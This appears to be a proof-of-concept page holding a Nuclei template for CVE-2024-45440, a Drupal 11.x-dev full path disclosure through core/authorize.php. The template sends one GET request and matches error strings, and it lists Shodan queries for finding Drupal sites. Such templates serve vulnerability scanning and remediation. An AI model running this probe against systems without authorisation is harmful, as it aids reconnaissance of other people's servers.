CVE-2024-45440: Drupal 11.x-dev - Full Path Disclosure

2025-08-01 Drupal PoC Public

Description

core/authorize.php in Drupal 11.x-dev allows Full Path Disclosure (even when error logging is None) if the value of hash_salt is file_get_contents of a file that does not exist.

PoC

id: CVE-2024-45440

info:
  name: Drupal 11.x-dev - Full Path Disclosure
  author: DhiyaneshDK
  severity: medium
  description: |
    core/authorize.php in Drupal 11.x-dev allows Full Path Disclosure (even when error logging is None) if the value of hash_salt is file_get_contents of a file that does not exist.
  impact: |
    Attackers can obtain full path disclosure information even when error logging is disabled.
  remediation: |
    Configure hash_salt properly and ensure it references an existing file, or update to a patched Drupal version.
  reference:
    - https://senscybersecurity.nl/CVE-2024-45440-Explained/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-45440
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-45440
    cwe-id: CWE-209
    epss-score: 0.09269
    epss-percentile: 0.95098
    cpe: cpe:2.3:a:drupal:drupal:2023-05-09:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: drupal
    product: drupal
    shodan-query:
      - http.component:"drupal"
      - cpe:"cpe:2.3:a:drupal:drupal"
  tags: cve,cve2024,drupal,exposure,error,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/core/authorize.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "getHashSalt"
          - "RuntimeException"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022009e159ff8f332b0492268beefe256d9320cc06d26a74bcedd6e356266d65ff19022100a8b043ac505c7fc6cc97354c6baa182edc339105eb4d0321a027c5a9d8fbb0dd:922c64590222798bb761d5b6d8e72950

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